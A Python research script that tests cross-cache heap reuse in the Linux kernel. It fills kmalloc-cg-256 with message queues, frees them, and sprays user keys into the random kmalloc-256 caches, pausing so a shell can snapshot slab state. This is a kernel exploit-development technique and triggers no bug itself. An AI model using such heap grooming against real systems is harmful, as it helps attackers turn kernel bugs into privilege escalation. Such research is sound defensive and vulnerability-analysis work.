#!/usr/bin/env python3
# xcache_unified.py — drain cg-256 + spray rnd-XX-256 in one process to
# minimize the time gap between cg-free and rnd-alloc. Buddy LIFO works
# only if no other allocator races us.
#
# This child receives the holder's queue ids on stdin, then:
#   1. Snapshot cg-256 (filled state).
#   2. msgctl IPC_RMID every queue (drain).
#   3. add_key × N (spray).
#   4. Snapshot rnd-XX-256.
#   5. Print before/after for shell-side intersection.

import ctypes, os, sys, time, signal

libc = ctypes.CDLL("libc.so.6", use_errno=True)
SYS_add_key = 248
SYS_keyctl  = 250
KEY_SPEC_PROCESS_KEYRING = -2

IPC_PRIVATE = 0
IPC_CREAT = 0o1000
IPC_RMID = 0

class Msg(ctypes.Structure):
    _fields_ = [("mtype", ctypes.c_long), ("mtext", ctypes.c_char * 200)]

def run(n_msgs=2048, n_keys=4096):
    # Phase 1: allocate cg-256 holders inline (so we can drain them in
    # this same process — eliminates IPC overhead for sigusr).
    qids = []
    m = Msg(); m.mtype = 1; m.mtext = b"A" * 200
    for _ in range(n_msgs):
        q = libc.msgget(IPC_PRIVATE, IPC_CREAT | 0o600)
        if q < 0: break
        if libc.msgsnd(q, ctypes.byref(m), 200, 0) != 0:
            libc.msgctl(q, IPC_RMID, None)
            break
        qids.append(q)
    print(f"FILLED qids={len(qids)}", flush=True)

    # Wait for outside-shell to snapshot cg_filled (wait for stdin signal).
    print("WAIT_SNAPSHOT_FILLED", flush=True)
    sys.stdin.readline()

    # Phase 2: drain ALL cg-256 holders.
    t0 = time.time()
    for q in qids:
        libc.msgctl(q, IPC_RMID, None)
    drain_dt = time.time() - t0
    print(f"DRAINED in {drain_dt*1000:.1f}ms", flush=True)

    # Phase 3: IMMEDIATELY spray rnd-XX-256 — no sleep.
    t0 = time.time()
    payload = ctypes.c_char_p(b"B" * 200)
    keys = []
    for i in range(n_keys):
        desc = f"k{i}".encode()
        kid = libc.syscall(SYS_add_key, b"user", ctypes.c_char_p(desc),
                           payload, ctypes.c_size_t(200),
                           ctypes.c_int(KEY_SPEC_PROCESS_KEYRING))
        if kid < 0: break
        keys.append(kid)
    spray_dt = time.time() - t0
    print(f"SPRAYED keys={len(keys)} in {spray_dt*1000:.1f}ms", flush=True)

    # Wait for outside-shell to snapshot rnd_after.
    print("WAIT_SNAPSHOT_AFTER", flush=True)
    sys.stdin.readline()

    # Cleanup keys (revoke + unlink).
    for kid in keys:
        libc.syscall(SYS_keyctl, 3, kid)  # REVOKE
        libc.syscall(SYS_keyctl, 9, kid, KEY_SPEC_PROCESS_KEYRING)  # UNLINK
    print("DONE", flush=True)

if __name__ == "__main__":
    n_msgs = int(sys.argv[1]) if len(sys.argv) > 1 else 2048
    n_keys = int(sys.argv[2]) if len(sys.argv) > 2 else 4096
    run(n_msgs, n_keys)